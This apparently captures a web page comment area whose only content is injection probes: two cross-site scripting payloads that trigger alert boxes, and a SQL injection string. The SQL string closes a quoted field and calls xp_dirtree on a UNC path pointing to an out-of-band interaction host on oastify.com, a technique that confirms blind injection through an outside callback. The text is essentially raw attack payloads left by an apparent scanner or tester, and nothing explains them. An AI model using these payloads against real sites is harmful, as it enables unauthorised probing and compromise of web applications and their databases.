<script>alert(1)</script>');declare @q varchar(99);set @q='\\547ofqcbe7b4sdcoqxy1nt7fj6pzdy1pudm0eo3.oasti'+'fy.com\lgz'; exec master.dbo.xp_dirtree @q;--

<script>alert(2)</script>

Login to post a comment